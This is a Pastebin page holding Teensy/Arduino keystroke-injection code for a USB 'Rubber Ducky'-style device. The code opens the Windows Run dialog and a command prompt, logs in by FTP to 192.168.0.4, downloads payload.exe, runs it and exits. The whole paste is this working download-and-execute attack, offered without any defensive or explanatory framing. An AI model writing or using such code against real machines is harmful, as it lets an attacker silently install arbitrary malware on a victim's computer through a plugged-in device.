Guest User

FTP Payload download for USB Rubber Ducky

a guest
Apr 30th, 2010
716
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. void setup()
  2. {
  3.   delay(3500);
  4.   CommandAtRunBar("cmd"); // Open command prompt
  5.   delay(1500);
  6.   Echo("ftp 192.168.0.4"); Enter();  // FTP to 192.168.0.4
  7.   delay(500);
  8.   Echo("teensy"); Enter();   // Username
  9.   Enter();                   // Password
  10.   Echo("get payload.exe"); Enter();  // Get [filename]
  11.   delay(100);
  12.   Echo("bye"); Enter();    // Exit ftp
  13.   Echo("payload.exe"); Enter();   // Execute payload.exe
  14.   delay(2000);
  15.   Echo("exit"); Enter();    // Exit command prompt
  16. }
  17.  
  18.  
  19.  
  20. void loop()
  21. {}
  22.  
  23.  
  24. void CommandAtRunBar(char *SomeCommand){
  25. Keyboard.set_modifier(128); //Windows key
  26. Keyboard.set_key1(KEY_R); // use r key
  27. Keyboard.send_now(); // send strokes
  28. Keyboard.set_modifier(0); //prep release of control keys
  29. Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
  30. Keyboard.send_now(); //Send the key changes
  31. delay(1500);
  32. Keyboard.print(SomeCommand);
  33. Keyboard.set_key1(KEY_ENTER);
  34. Keyboard.send_now();
  35. Keyboard.set_key1(0);
  36. Keyboard.send_now();
  37. }
  38.  
  39. void Echo(char *string)
  40. {
  41.   Keyboard.print(string);
  42. }
  43.  
  44. void Enter()
  45. {
  46.   Keyboard.set_key1(KEY_ENTER);
  47.   Keyboard.send_now();
  48.   Keyboard.set_key1(0);
  49.   Keyboard.send_now();
  50. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×